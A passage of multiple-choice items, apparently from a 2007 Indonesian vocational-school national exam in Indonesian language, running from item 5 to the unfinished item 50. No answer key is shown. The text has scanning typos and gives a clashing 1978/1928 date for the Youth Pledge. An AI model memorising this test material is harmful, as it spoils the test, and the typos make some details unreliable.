Orang Jakarta mengatakan bahwa banjir yang melanda Jakarta kiriman dari Bogor, orang Bogor membantahnya. Mereka menyatakan bahwa yang membuat kerusakan adalah orang Jakarta sendiri dengan menggusur petani dan membuat vila dan hotel di Puncak.

UN-SMK-07-05
Masalah yang diungkapkan dalam tajuk rencana tersebut adalah ...
A. Banjir meianda Jakarta sehingga menimbulkan banyak kerugian.
B. Jakarta selama ini terlihat megah dalam sinetron.
C. Banjir yang melanda Jakarta adalah kiriman dari Bogor.
D. Masyarakat Jakartalah yang membuat kerusakan.
E. Orang Jakarta menggusur petani membuat vila dan hotel di Puncak.

UN-SMK-07-06
Opini pada tajuk rencana tersebut terdapat pada kalimat ...
A. Sepuluh orang meninggal dalam banjir tersebut.
B. Seorang penduduk luar Jakarta menyurati redaksi sebuah surat kabar.
C. Orang Jakarta mengatakan bahwa banjir kali ini merupakan kiriman dari Bogor.
D. Kerugian mencapai 39,5 milyar dan sepuluh orang meninggal.
E. Beberapa waktu yang lalu banjir besar melanda Jakarta.

Teks untuk nomor 7 dan 8.
Bacalah teks pidato berikut dengan saksama!
Hadirin yang saya hormati!
Assalamualaikum Wr.Wb.
Salam sejahtera untuk kita semua.
Puji dan syukur kita panjatkan ke hadirat Tuhan Yang Maha kuasa karena berkat dan rahmat-Nya, kita dapat berkumpul di tempat ini dalam rangka memperingati Hari Sumpah Pemuda ke-73. Ikrar dari berbagai perkumpulan pemuda pada tanggal 28 Oktober 1978 yaitu bertanah air satu, tanah air Indonesia, berbangsa satu, bangsa Indonesia, dan menjunjung bahasa persatuan yaitu bahasa Indonesia. Perlu kita renungkan kembali baik-baik mengenai makna Sumpah Pemuda.

UN-SMK-07-07
Topik pidato tersebut adalah ...
A. peringatan Sumpah Pemuda
B. mengenang ikrar para pemuda tahun yang lalu
C. merenungkan ikrar Sumpah Pemuda
D. pernyataan ikrar pemuda terjadi pada tahun 1928
E. bertanah air satu, berbangsa satu, dan berbahasa satu

UN-SMK-07-08
Kalimat ajakan dalam teks pidato tersebut adalah ...
A. Ajakan memanjatkan doa ke hadirat Tuhan Yang Maha kuasa.
B. Peristiwa pernyataan ikrar dari berbagai perkumpulan pemuda.
C. Mari kita berkumpul di tempat ini dalam memperingati Sumpah Pemuda.
D. Mari kita ikrarkan Sumpah Pemuda.
E. Mari kita renungkan kembali makna Sumpah Pemuda.

UN-SMK-07-09
Cermatilah paragraf berikut dengan saksama!
(1) Baik secara kelompok atau organisasi maupun individual, masyarakat secara spontan mengumpulkan bantuan untuk meringankan beban saudara-saudara kita yang kena musibah. (2) Hal itu terlihat sejak tsunami di Aceh dan serangkaian bencana alam lainnya di Indonesia. (3) Bahkan membantu korban banjir lumpur panas Lapindo Brantas di Porong-Sidoarjo, Jawa Timur. (4) Walaupun banjir lumpur itu akibat ulah manusia, tetap mengundang rasa kemanusiaan. (5) Kepedulian masyarakat secara spontan itu merupakan perwujudan rasa simpati dan empati terhadap sesamanya.
Kalimat simpulan pada paragraf tersebut terdapat pada nomor ...
A. (1)
B. (2)
C. (3)
D. (4)
E. (5)

UN-SMK-07-10
Bacalah paragraf berikut dengan saksama!
Musim kompetisi 2006/2007 belum juga berakhir, tetapi Inter Milan sudah mendapatkan pemain baru. Adalah Ederson Honorato yang berhasil didatangkan juara Liga Italia musim lalu itu. Sebelumnya, penyerang asal Brasil itu memperkuat Nice. Ederson yang berusia 21 tahun itu bergabung dengan Nice dua musim lalu. Saat itu, Inter Milan sebenarnya sudah berniat membawanya ke Stadion San Siro, namun Nice lebih menjadi pilihan Ederson.
Kalimat utama paragraf tersebut adalah ...
A. Musim kompetisi 2006/2007 belum juga berakhir, tetapi Inter Milan sudah mendapatkan pemain baru.
B. Ederson Honorato sebelumnya memperkuat Nice, berhasil didatangkan juara Liga lalu.
C. Ederson Honorato yang berusia 21 tahun itu bergabung dengan Nice dua musim lalu.
D. Inter Milan sebenarnya sudah berniat membawanya ke Stadion San Siro namun Nice lebih menjadi pilihan Ederson.
E. Inter Milan sebenarnya sudah berniat merekrut Ederson Honorato, tetapi baru tahun ini tercapai.
Teks berikut untuk soal nomor 11 sampai dengan 13. Bacalah penggalan cerpen berikut dengan saksama!
Tatkala aku masuk sekolah Mulo, demikian fasih lidahku dalam bahasa Belanda sehingga orang yang hanya mendengarkanku berbicara dan tidak melihat aku, mengira aku anak Belanda. Aku pun bertambah lama bertambah percaya pula bahwa aku anak Belanda, sungguh hari-hari ini makin ditebalkan pula oleh tingkah laku orang tuaku yang berupaya sepenuh daya menyesuaikan diri dengan langgam lenggok orang Belanda.
"Kenang-kenangan" oleh Abdul Gani A.K.

UN-SMK-07-11
Sudut pandang pengarang yang digunakan dalam penggalan tersebut adalah ...
A. orang pertama pelaku utama
B. orang ketiga pelaku sampingan
C. orang ketiga pelaku utama
D. orang pertama dan ketiga
E. orang ketiga serbatahu

UN-SMK-07-12
Watak tokoh "aku" dalam penggalan cerita tersebut adalah ...
A. percaya diri
B. mudah menyesuaikan diri
C. sombong
D. rajin berusaha
E. mudah dipengaruhi

UN-SMK-07-13
Amanat dalam penggalan cerpen tersebut adalah ...
A. Jangan cepat menyerah pada keadaan bagaimana-pun juga.
B. Jangan membuang waktu selagi masih ada waktu.
C. Sebaiknya kita menyesuaikan diri dengan keadaan.
D. Jangan lupa diri bila menguasai bahasa orang.
E. Jangan mudah dipengaruhi oleh orang lain.

Teks berikut untuk soal nomor 14 sampai dengan 16. Bacalah kutipan novel berikut dengan saksama!
"Jadi, kita akan kuburkan dia di Sirnagara?" katanya pelan-pelan, setengah ditujukan kepada dirinya sendiri. Soleha tidak bisa menjawab. Ia mau berpikir panjang. Ia mau mengatakannya, tapi ia segera ingat pada yang lain." Tapi, kita sudah kawinkan dia. Dan sekarang dia sudah jadi istri Sumarto. Apa yang akan dikatakan oleh Sumarto?" Pikirannya makin tidak enak kalau mengingat soal itu. Ia memang sudah keberatan ketika suami Soleha dipanggil orang dari kampung sawah untuk mengobati Pak Murad. Sebagai mantri kesehatan di sekitar itu memang tak ada dokter. Suami Soleha sering diminta pertolongan. Namun, ia tahu betul Pak Murad ayah Murni. Murni sekarang menjanda karena suaminya meninggal dunia. Suami Soleha saling mencintai dengan Murni ketika masih bujang dan gadis. Mereka tak dapat melaksanakan niat hatinya sebab Murni dipaksa kawin.

UN-SMK-07-14
Konflik yang terdapat dalam kutipan tersebut adalah ...
A. Soleha perang batin sewaktu rnau bicara dengan Sumarto.
B. Pak Sumarto kebingungan sewaktu mau bicara dengan Soleha.
C. Soleha tidak rela menguburkan jenazah anaknya di Sirnagara.
D. Pak Sumarto perang batin sewaktu akan menguburkan jenazah istrinya.
E. Suami Soleha dan Soleha perang mulut mengenai penguburan jenazah anaknya.

UN-SMK-07-15
Penyebab terjadinya konflik dalam kutipan tersebut adalah ...
A. Karena suaminya mantri kesehatan.
B. Karena suaminya diminta pertolongan.
C. Karena cemburu terhadap Murni.
D. Karena suami Soleha pernah mencintai Murni.
E. Karena suaminya mengobati Pak Murad ayah Murni.

UN-SMK-07-16
Peristiwa yang terjadi akibat konflik dalam kutipan cerpen tersebut adalah ...
A. Suaminya mengobati Pak Murad yang sakit.
B. Suaminya sering diminta pertolongan karena tidak ada dokter.
C. Soleha tidak dapat menentukan tempat penguburan anaknya.
D. Suaminya akan bertemu dengan Murni anak Pak Murad.
E. Murni yang pernah dicintai suaminya sudah menjanda.

Teks berikut untuk soal nomor 17 dan 18.
Bacalah kutipan cerita berikut dengan saksama!
Sebermula maka Sri Rama dan Laksamana pun pergilah mencari Sita Dewi. Maka ia pun berjalanlah di dalam hutan rimba belantara. Beberapa lamanya berjalan, mereka itu tiada bertemu tempat menanyakan waktu Sita Dewi. Maka dilihatnya ada seekor burung jantan. Maka Sri Rama pun bertanya, "Hai burung, adakah engkau melihat istriku dilarikan orang?"
Sahut burung jantan itu, "Engkau yang bernama Sri Rama? Aku dengar masyhur namamu laki-laki dan gagah berani tiada terlawan di tengah medan peperangan. Akan binimu tiadalah terpelihara, perempuan seorang. Lihatlah olehmu aku ini, empat ekor biniku lagi dapat aku peliharakan, konon engkau manusia dua orang pula saudaramu tiadakah dapat memeliharakan binimu itu."

UN-SMK-07-17
Isi kutipan cerita tersebut mengungkapkan ...
A. Sri Rama mencari istrinya, Sita Dewi.
B. Laksamana sedang mencari istrinya.
C. Ejekan burung jantan kepada Sri Rama yang tidak bisa menjaga istrinya
D. Kehidupan burung jantan yang berbahagia dengan keempat betinanya
E. Sri Rama raja yang termasyhur dan gagah berani.

UN-SMK-07-18
Nilai moral yang tersirat dalam kutipan cerita tersebut adalah ...
A. Kasih sayang seorang suami terhadap istrinya.
B. Keberanian seorang suami dalam membela istrinya.
C. Tabah menerima ejekan orang.
D. Tabah dalam menerima segala penderitaan.
E. Keadilan yang diberikan oleh suami kepada istrinya.

UN-SMK-07-19
Bacalah penggalan cerita berikut dengan saksama!
Aku pikir aku telah tertidur beberapa jam karena pengaruh sampanye dan letusan-letusan bisu dalam film itu. Lalu ketika aku terbangun, kepalaku merasa terguncang-guncang. Aku pergi ke kamar mandi. Dua dari tempat duduk di belakangku diduduki wanita tua dengan sebelas kopor berbaring dengan posisi yang tidak sangat karuan. Seperti mayat yang terlupakan di medan perang. Kaca mata bacanya dengan rantai manik-manik beradu di atas lantai dan sesaat aku menikmati kedengkianku untuk tidak mengambilnya.
Nilai budaya yang ada dalam penggalan cerpen tersebut adalah ...
A. mabuk-mabukkan
B. menonton film
C. minum sampanye
D. dengki terhadap orang lain
E. tidak peduli terhadap orang lain

Puisi berikut untuk soal nomor 20 sampai dengan 22.
Bacalah is ipuisi berikut dengan saksama!
Karangan Bunga
Tiga anak kecil
Dalam langkah malu-malu
Datang ke Salemba
Sore itu
"Ini dari kami bertiga
Pita hitam dalam karangan bunga
Sebab kami ikut berduka
Bagi kakak yang ditembak mati siang tadi."

UN-SMK-07-20
Maksud puisi tersebut adalah ...
A. menceritakan tiga anak kecil datang
B. menggambarkan anak kecil yang malu-malu
C. menceritakan peristiwa sore itu
D. menunjukkan pita hitam dalam karangan bunga
E. menggambarkan peristiwa kedukaan

UN-SMK-07-21
Makna lambang kata "pita hitam" dalam puisi tersebut adalah tanda …
A. bersedih
B. berduka
C. berdoa
D. bermohon
E. berharap

UN-SMK-07-22
Amanat puisi tersebut adalah ...
A. Perjuangan sekelompok anak kecil yang turut berduka.
B. Segeralah ke Salemba untuk menuntut keadilan.
C. Berjuanglah untuk mempertahankan golongan tertentu.
D. Hendaklah kita menghargai pengorbanan yang membela kebenaran.
E. Segala perjuangan bila tidak dilandasi dengan keimanan akan terkalahkan.

UN-SMK-07-23
Bacalah iklan berikut dengan saksama!
Perusahaan Farmasi Nasional yang sedang berkembang pesat membuka peluang karier bagi Sdr./Sdri, yang berdedikasi tinggi, berpenampilan menarik, mau bekcrja keras. Dengan persyaratan sebagai berikut.
1. Pendidikan SI, D3, SMF, SMA IPA dengan nilai Matematika minimal 6.
2. Usia maksimal 27 tahun.
3. Memiliki sepeda motor, SIM C.
4. Bersedia ditempatkan di seluruh Indonesia.
Segera kirimkan surat lamaran lengkap (CV, pasfoto berwarna terbaru ukuran 3 × 4 (2 Ibr), fotokopi STNK, Sim C, KTP, dan Ijazah) ke PO BOX 4080/JKT 10040.
Kompas, 20 Mei 2006
Kalimat pembuka surat lamaran pekerjaan yang tepat berdasarkan iklan tersebut adalah ...
A. Sehubungan dengan iklan yang dimuat pada harian Kompas, maka saya mengajukan lamaran pekerjaan sebagai ...
B. Sesuai dengan pendidikan dan kualifikasi saya, maka dengan ini saya bermaksud mengisi lowongan di harian Kompas.
C. Sehubungan dengan iklan yang dimuat di harian Kompas, 20 Mei 2006, saya mengajukan lamaran pekerjaan sebagai ...
D. Melalui surat ini, saya mengajukan lamaran pekerjaan sesuai iklan di harian Kompas sebagai ...
E. Memenuhi iklan di harian Kompas, 20 Mei 2006, saya melamar sesuai dengan persyaratan yang ditentukan.

UN-SMK-07-24
Cermati kutipan surat lamaran berikut!
... dengan ini saya mengajukan lamaran pekerjaan untuk mengisi lowongan tersebut. Adapun identitas diri saya ...
Pemerian identitas yang tepat untuk melengkapi surat lamaran tersebut adalah ...
A. Nama : Riana
Tempat, tanggal lahir : Bengkulu, 5 April 1986
Alamat : jalan Bhakti Husada 10, Bengkulu
B. Nama : Riana
Tempat, tanggal lahir : Bengkulu, 5-4-1986
Alamat : Jalan Bhakti Husada 10 Bengkulu
C. nama : Riana
tempat, tanggal lahir : Bengkulu/5 April 1986
alamat : Jalan Bhakti Husada Nomor 10, Bengkulu
D. nama : RIANA
tempat, tanggal lahir : Bengkulu, 5 April 1986
alamat : Jalan Bhakti Husada 10 Bengkulu
E. nama : Riana
tempat, tanggal lahir : Bengkulu, 5 April 1986
alamat : Jalan Bhakti Husada 10, Bengkulu

UN-SMK-07-25
Cermatilah penutup surat lamaran pekerjaan berikut!
Besar harapan saya dapat diterima diperusahaan yang Bapak pimpin. Atas kebaikannya, dihaturkan terima kasih.
Kalimat yang tepat untuk memperbaiki kalimat penutup surat lamaran pekerjaan tersebut adalah ...
A. Besar harapan saya, Bapak mempertimbangkan lamaran saya. Atas kebijaksanaannya, diucapkan terima kasih.
B. Besar harapan saya. Bapak dapat menerima saya. Atas kebijaksanaan Bapak, saya mengucapkan terima kasih.
C. Mohon Bapak dapat menerima saya. Atas kebijaksanaannya kepada saya, saya ucapkan terima kasih.
D. Sudilah kiranya Bapak menerima saya. Atas kebijaksanaan Bapak, dihaturkan terima kasih.
E. Atas kebijaksanaan menerima saya di perusahaan Bapak, saya mengucapkan terima kasih.

UN-SMK-07-26
Bacalah ilustrasi berikut dengan saksama!
Ketua OSIS SMA Harapan Jaya memerintahkan kepada sekretaris OS1S untuk membuat proposal kcgiatan menyongsong hari Sumpah Pemuda. Proposal itu akan dijadikan bahan rapat pengurus OSIS dua minggu yang akan datang.
Kalimat memo yang tepat sesuai ilustrasi tersebut adalah ...
A. Buatlah proposal dengan segera untuk menyongsong hari Sumpah Pemuda yang akan datang.
B. Rapat pengurus OSIS dua minggu yang akan datang, buatlah segera proposal untuk kegiatan tersebut.
C. Buatlah undangan rapat pengurus OSIS secepatnya untuk membahas proposal kegiatan Sumpah Pemuda.
D. Buat proposal kegiatan hari Sumpah Pemuda sebagai bahan rapat dua minggu yang akan datang.
E. Harap dibuatkan proposal kegiatan hari Sumpah Pemuda untuk dirapatkan minggu yang akan datang.

UN-SMK-07-27
Cermati ilustrasi berikut!
Judul novel : Lelaki Tua dan Laut/The Old Man and The Sea
Pengarang/Penerjemah : Ernest Hemingway/ Sapardi Djoko Damono
Penerbit : PT Dunia Pustaka
Di sisi lain, untaian kata-kata Hemingway mengalir, mengayun membuai, menghempas membuat pengalaman tersendiri pada pembaca persis seperti gerakan ombak laut. Dengan kemampuannya, pembaca tanpa dipaksa seolah-olah sedang berhadapan dengan teror hiu yang ingin menguasai tangkapan ikan.
Kalimat resensi yang tepat untuk menyatakan keunggulan novel tersebut adalah ...
A. Sedikit sekali penulis yang berani mengangkat ide cerita dari kaum pinggiran seperti nelayan. Namun, Hemingway berani mengangkatnya menjadi sebuah cerita yang penuh ketegangan ditinjau dari kekuatan bahasanya.
B. Penulis agak lambat menciptakan ketegangan-ketegangan dalam cerita. Pembaca menjadi kurang bergairah karena setting yang disuguhkan terlalu monoton, yaitu laut dan laut.
C. Hemingway dan ketangkasannya berbahasa tak perlu diragukan lagi. Hanya saja, khusus pada novel ini tema yang diambil kurang menarik.
D. Bahasa dan cara penuturan Hemingway pada novel ini sangat melompat-lompat persis alunan ombak laut yang mengguncang-guncang perahu.
E. Meskipun buku ini banyak dibaca orang, terlihat banyak kekurangan tentang kebiasaan di laut yang mungkin Hemingway sendiri dapat merasakannya.

UN-SMK-07-28
Cermatilah kalimat-kalimat berikut!
(1) Pengairan selanjutnya dikurangi, terutama pada fase penuaan rimpang, karena tanah yang terluka basah (menggenang) dapat menyebabkan buruknya rimpang jahe.
(2) Mula-mula air disalurkan melalui saluran pemasukan, kemudian dibiarkan menggenangi petakan atau bedengan hingga tanah cukup basah.
(3) Selanjutnya, air segera dialirkan melalui saluran pembuangan.
(4) Pengairan harus dilakukan secara kontinu 3-5 hari sekali atau bergantung pada keadaan cuaca dan kelembaban tanah.
(5) Pengairan dilakukan dengan cara digenangi 15 menit atau lebih sehingga tanah cukup basah.
Kalimat-kalimat tersebut dapat dijadikan paragraf yang padu dengan urutan
A. (1), (3), (2), (5), dan (4)
B. (2), (1), (5), (4), dan (3)
C. (3), (1), (5), (2), dan (4)
D. (4), (5), (1), (2), dan (3)
E. (4), (1), (5), (2), dan (3)

UN-SMK-07-29
Cermatilah paragraf berikut!
Kami meninggalkan kompleks candi pukul 12.00, selanjutnya menuju museum kereta api. Siang itu udara terasa panas sehingga badan kami cepat merasa lelah, karena, ...
Untuk melengkapi paragraf tersebut, pernyataan yang tepat adalah ...
A. sebelumnya kami beristirahat di tepi jalan
B. perjalanan kami memang cukup jauh
C. rekreasi kami cukup menyenangkan
D. setiap tahun kami melaksanakan karya wisata
E. karya wisata selalu diprogramkan di sekolah kami

UN-SMK-07-3
Cermati topik dan penggunaan kalimat dalam paragraf berikut!
Kalimat penjelas
Topik : Pantai Natsepa
(1) Pantai Natsepa terletak kurang lebih sepuluh kilometer dari pusat kota.
(2) Pantai ini terlihat jelas karena letaknya hanya seratus meter dari jalan utama.
(3) Di Pantai Natsepa ini, terdapat dua tempat yang telah dilengkapi fasilitas penginapan.
(4) Di beberapa tempat yang agak condong ke laut mengalami kerusakan.
(5) Pantai ini sering dikunjungi wisatawan asing.
(6) Bahkan biasanya pengunjung sampai ke Pantai Liang.
Kalimat deskripsi yang sesuai dengan topik tersebut adalah ...
A. (1), (2), (3), dan (5)
B. (1), (2), (3), dan (4)
C. (1), (3), (5), dan (6)
D. (2), (3), (5), dan (6)
E. (3), (4), (5), dan (6)

UN-SMK-07-31
Bacalah paragraf persuasi dengan saksama!
Pasien yang berobat dan dirawat inap di Rumah Sakit Dharma Yadnya Denpasar tidak dilayani dengan ramah, dokter yang seharusnya rutin memeriksa kondisi pasien sering tidak tepat waktu. Para perawat yang merawat pasien tidak berwajah ramah. Fasilitas dan peralatan yang dimiliki tidak lengkap sehingga banyak pasien yang berpindah ke rumah sakit lain. ...
Kalimat ajakan yang tepat untuk melengkapi paragraf tersebut adalah ...
A. Pasien yang akan masuk ke Rumah Sakit Dharma Yadnya hendaknya berpikir dulu.
B. Rumah Sakit Dharma Yadnya harus segera menambah fasilitas dan peralatan medis.
C. Para dokter dan suster di Rumah Sakit Dharma Yadnya perlu segera diganti.
D. Tambahkan fasilitas dan tingkatkan pelayanan di Rumah Sakit Dharma Yadnya.
E. Turunkan biaya perawatan agar pasien tidak pindah ke rumah sakit lain.

UN-SMK-07-32
Bacalah paragraf generalisasi berikut dengan saksama!
Ular, biawak, cecak, dan sebagainya tennasuk jenis binatang melata. Seperti jenis binatang lainnya, binatang-binatang tersebut memerlukan air. Begitu juga tumbuh-tumbuhan misalnya mawar, kelapa, sawo. Manusia juga memerlukan air. Manusia, tumbuh-tumbuhan, dan binatang sangat memerlukan air.
Simpulan paragraf tersebut adalah...
A. Semua manusia memerlukan air.
B. Tumbuhan memerlukan air untuk hidup.
C. Semua makhluk hidup sangat memerlukan air.
D. Setiap orang memerlukan air untuk hidup.
E. Semua binatang memerlukan air untuk hidup.

UN-SMK-07-33
Bacalah paragraf berikut dengan saksama!
Alam semesta berjalan dengan teratur seperti jalannya sebuah mesin. Matahari, bumi, bulan, dan bintang yang jumlahnya berjuta-juta berjalan seperti teraturnya putaran roda mesin yang rumit. Semua bergerak menurut irama tertentu. Mesin rumit itu ada penciptanya, yaitu manusia yang pandai, teliti, dan senang memecahkan masalah ...
Simpulan yang tepat untuk melengkapi paragraf tersebut adalah ...
A. Semuanya adalah usaha manusia dengan segala teknologi canggih yang tidak dapat menyaingi penciptanya.
B. Alam yang luas dan beredar dengan rapi sepanjang masa itu ada pula yang menciptakannya, yaitu Yang Maha pandai dan Maha teliti.
C. Semua yang terjadi di bumi ini adalah ciptaan Tuhan dan jangan dirusak oleh manusia.
D. Manusia dapat membuat apa saja untuk kepentingannya, tetapi tidak melebihi Tuhan sebagai penciptanya.
E. Tuhan menciptakan semuanya dan manusia menjaganya. Oleh sebab itu, lestarikanlah alam ini.

UN-SMK-07-34
Ceratati silogisme berikut dengan saksama!
PU : Semua pejabat negara harus jujur dan hidup sederhana.
PK : Mogundha pejabat negara.
S : …
Simpulan yang tepat untuk melengkapi silogisme tersebut adalah...
A. Mogundha pejabat negara yang jujur dan sederhana.
B. Mogundha harus jujur dan hidup sederhana.
C. Mogundha harus jujur dan sederhana karena seorang pejabat negara.
D. Mogundha seharusnya jujur dan sederhana.
E. Sebagai Menteri Mogundha selayaknya jujur dan sederhana.

UN-SMK-07-35
Cerntatilah kalimat berikut!
Setiap atlit profesionil, pada saat bertanding pasti menggunakan metoda bermain secara konsekwen, berbeda dengan yang amteran.
Perbaikan kata bercetak miring dalam kalimat tersebut yang tepat adalah ...
A. atlet, propesional, methoda, konsekuwen, amatiran
B. atlet, profesionil, metode, konsekuen, amatiran
C. atlet, profesional, metode, konsekuen, amatiran
D. atlit, profesi, methodik, konsekwen, amatir
E. atlit, profesional, metodologi, konsekwen, amatir

UN-SMK-07-36
Kita tidak ... beratnya sanksi bag ipelanggar ... lalu lintas karena hal itu ... bukan merupakan sumber masalah.
Kata yang tepat untuk melengkapi kalimat rumpang tersebut adalah ...
A. dipersoalkan, pengaturan, pembenarannya
B. mempersoal, pengaturan, kebenarannya
C. mempersoali, peraturan, dibenarkannya
D. mempersoalkan, peraturan, sebenarnya
E. dipersoalkan, peraturan, sebenar-benarnya

UN-SMK-07-37
Bacalah teks berikut dengan saksama!
"Tolaklah kejahatan itu dengan cara yang lebih baik." Begitulah mereka dapat menunjukkan rasa dengki dengan emosi yang terkendali, kesabaran yang menyejukkan, dan menenteramkan. Maka tatkala menerima kata-kata kotor, ... bahkan memandang kata-kata itu sebagai angin lalu yang tidak pernah kembali.
Ungkapan yang tepat untuk melengkapi bagian yang rumpang tersebut adalah ...
A. muka tembok tak ada
B. tangan menengadah ke atas
C. mata tak berkedip
D. hati kecut
E. telinga tak memerah

UN-SMK-07-38
Bacalah dialog berikut dengan saksama!
Rudi : "Tugas kita sebagai pelajar, ya, belajar dan belajar."
Irma : "Itu benar! Tapi untuk mencapai kemajuan di bidang IPTEK dan ekonomi sekarang ini susah, kalau hanya dengan belajar saja."
Rudi : "Lain apalagi yang harus kita perbuat?"
Irma : "Ya, aku sendiri tidak tahu! Masalahnya kita belum mampu keluar dari lingkaran kemiskinan."
Rudi : "Ia ya! Bagai membandarkan air ke gunung. Untuk mencapai kemajuan seperti di beberapa negara tetangga."
Dedi : "Malah mungkin ... bagi kita saat ini."
Peribahasa yang tepat untuk melengkapi dialog tersebut adalah ...
A. bagai bergantung di akar lapuk
B. seperti mentimun dengan durian
C. bagai air di daun talas
D. bagai bumi dengan langit
E. bagai menegakkan benang basah

UN-SMK-07-39
Bacalah teks berikut dengan saksama!
Kata-kata si pegawai itu memberondong cepat bagai peluru yang mendesing memerahkan daun telinga laki-laki kurus itu. Biji mata laki-laki itu melotot berputar-putar cepat seolah-olah ...
Majas yang tepat melengkapi teks tersebut adalah ...
A. hendak menatap anaknya dengan kasih sayang.
B. mau memalingkan pemandangan bagiku.
C. mau melihat seseorang dengan jelas
D. hendak mengawasi gerakan temannya
E. hendak melompat keluar dari kedua matanya

UN-SMK-07-40
Bacalah paragraf berikut dengan saksama!
(1) Pemandangan di Pantai Putri membuat siapa saja merasa tenteram. (2) Tampak pasir putih, ombak yang tenang, serta laut yang biru. (3) Tak heran banyak orang yang bergerak berjalan-jalan ke tengah pantai. (4) Demikian juga sejumlah pemuda bersenda gurau berenang di pantai itu. (5) Tiba-tiba ada yang berteriak Hiu! (6) Sejumlah pemuda itu tadi lari ke sana ke mari.
Kalimat yang sumbang terdapat pada kalimat nomor ...
A. (1)
B. (2)
C. (3)
D. (4)
E. (5)

UN-SMK-07-41
Bacalah paragraf berikut dengan saksama!
Larasati adalah siswa ... di sekolah kami. Selain aktif pada kegiatan OSIS di sekolah, dia juga aktif pada kegiatan ... mengikuti jejak orang tuanya. Setelah lulus SM A, Larasati akan melanjutkan kuliah di Universitas Indonesia mengambil jurusan ... sesuai dengan sifatnya suka membantu memecahkan masalah teman-temannya.
Kata baku yang tepat untuk melengkapi paragraf tersebut adalah ...
A. tauladan, sosial, psikologi
B. teladan, sosialisasi, psycologi
C. teladan, sosial, psikologi
D. tauladan, sosialisasi, psikhologi
E. teladan, sosial, psikhologi

UN-SMK-07-42
Tema karya tulis: Kirab Budaya sebagai Terapi Mental untuk Memulihkan Kepercayaan Masyarakat Yogyakarta
Latar belakang yang tepat untuk tema tersebut adalah ...
A. Kirab budaya adalah pawai dengan memberi persembahan ke Gunung Merapi dan laut selatan agar terhindar dari bencana yang lebih besar dan lebih mengerikan.
B. Kirab budaya merupakan acara yang dipercaya masyarakat dapat membebaskan mereka dari bencana gunung berapi dan gempa bumi serta tsunami di Indonesia,
C. Masyarakat Yogyakarta ingin memulihkan kepercayaan pemerintah kepada mereka dengan mengadakan kirab budaya sehingga wisatawan akan datang kembali.
D. Aktivitas gunung merapi dan terjadinya gempa bumi akhir-akhir ini telah mengganggu masyarakat Yogyakarta sehingga pemerintah perlu mengadakan kirab budaya untuk memohon keselamatan.
E. Pemerintah memandang perlunya mengadakan kirab budaya di Indonesia untuk memulihkan mental masyarakat yang terkena bencana alam di Indonesia.

UN-SMK-07-43
Judul karya tulis: menggali potensi diri untuk meningkatkan kepercayaan diri
Penulisan Judul makalah yang tepat adalah ...
A. Menggali Potensi Diri Untuk Meningkatkan Kepercayaan Diri
B. Menggali potensi diri untuk meningkatkan kepercayaan diri
C. Menggali Potensi Diri untuk Meningkatkan kepercayaan diri
D. Menggali Potensi Diri untuk Meningkatkan Kepercayaan Diri
E. Menggali Potensi diri Untuk Meningkatkan Kepercayaan diri

UN-SMK-07-44
Kalimat permintaan saran yang tepat dalam kata pengantar karya tulis adalah …
A. Penulis mengucapkan terima kasih kepada semua pihak.
B. Fuji syukur kami panjatkan kehadirat Allah SWT.
C. Terima kasih atas segala bantuan dari Bapak/Ibu.
D. Semua kritik dan saran Saudara kami tampung.
E. Penulis mohon kritik yang membangun untuk perbaikan karya tulis ini.

UN-SMK-07-45
Anton : Dik, nanti sore jadi, bukan?
Didik : Jadi apa?
Anton : …
Didik : Ah, ya! Aku hampir lupa. Untung kau ingatkan. Antara sekolah kita dengan SMA "Bunga Indah," kan!
Anton : Betul. Kalau tidak menontonnya, rugi kita. Ha ... ha ... ha ...
Didik : Ya, karena primadona kita akan turun nanti. OK, sampai nanti sore.
Kalimat yang tepat untuk melengkapi dialog tersebut adalah ...
A. Mengerjakan PR Matematika di rumah Nyoman.
B. Menyaksikan pertandingan bola voli di TVRI.
C. Kita menjenguk Handi di RSUP bersama Rita, anak SMA "Bunga Indah."
D. Kita mendengarkan bersama siaran "Kreasi Remaja" di RRI.
E. Menonton pertandingan bola basket.

UN-SMK-07-46
Bacalah teks pidato berikut dengan saksama!
Teman-teman seperti yang telah saya uraikan sebelumnya bahwa kenakalan remaja dapat diatasi dengan salah satu cara yaitu menyalurkan kelebihan energi yang dimiliki remaja pada kegiatan yang positif dan dinamis ...
Kalimat ajakan yang tepat untuk melengkapi teks pidato tersebut adalah ...
A. Oleh karena itu, marilah kita bekerja sama mencari jalan keluar untuk kegiatan remaja yang positif dan dinamis agar dapat mengurangi dampak negatif kenakalan remaja.
B. Oleh sebab itu, diharapkan pandangan positif dari orang dewasa terhadap remaja-remaja seperti kita ini.
C. Oleh karena itu, marilah kita tuntut pihak sekolah agar membuka kegiatan ekstrakurikuler sebanyak-banyak demi penyaluran hobi kita.
D. Oleh sebab itu, remaja dan kenakalannya tidak dapat dipisahkan dalam kehidupan modern ini.
E. Oleh karena itu, marilah bersama-sama kita rajin membantu orang tua agar mereka sayang dan tidak menuding remaja yang nakal.

UN-SMK-07-47
Masyarakat pariwisata Kaliurang menyusun ... untuk meyakinkan wisatawan bahwa Yogyakarta dan Gunung Merapi aman dikunjungi.
Kelompok kata yang tepat untuk melengkapi kalimat tersebut adalah …
A. kegiatan wisata
B. rencana kunjungan
C. kertas kerja
D. program pemulihan
E. jadwal acara

UN-SMK-07-48
... berteriak tidak dijadikan senjata oleh anak, para ahli menyarankan ... orang tua tidak langsung merespon teriakan anak, ... memberitahukannya bahwa berteriak bukan cara berkomunikasi yang tepat.
Kata penghubung yang tepat melengkapi kalimat tersebut adalah ...
A. setelah, untuk, sebab
B. jika, agar, tetapi
C. sebelum, andai, sebab
D. sesudah, jika, tetapi
E. biarkan, telah, agar

UN-SMK-07-49
Bacalah paragraf deskripsi berikut dengan saksama!
Kelurahan Bibi Ani terletak di sebuah iereng gunung yang sangat subur. Jarak tempat tinggal Bibi Ani dengan puncak gunung itu hanya sekitar 8 kilometer. Dari puncak gunung ini kita bisa memandang hamparan sawah yang padinya telah menguning untuk siap panen. ... Rumah penduduk yang dikelilingi oleh pepohonan yang menghijau membuat suasana menyenangkan. Aku rasanya ingin lebih lama tinggal bersama Bibi Ani.
Kalimat yang tepat untuk melengkapi paragraf tersebut adalah ...
A. Sungai di sekitar pegunungan itu sering menyebabkan banjir.
B. Sungai yang ada di sekitar pegunungan itu sangat dalam.
C. Sungai di dekat gunung itu sangat kotor.
D. Sungai di kaki gunung itu berkelok-kelok menyisir kaki gunung.
E. Sungai di sekitar pegunungan itu menambah keindahan.

UN-SMK-07-50
Bacalah paragraf berikut dengan saksama!
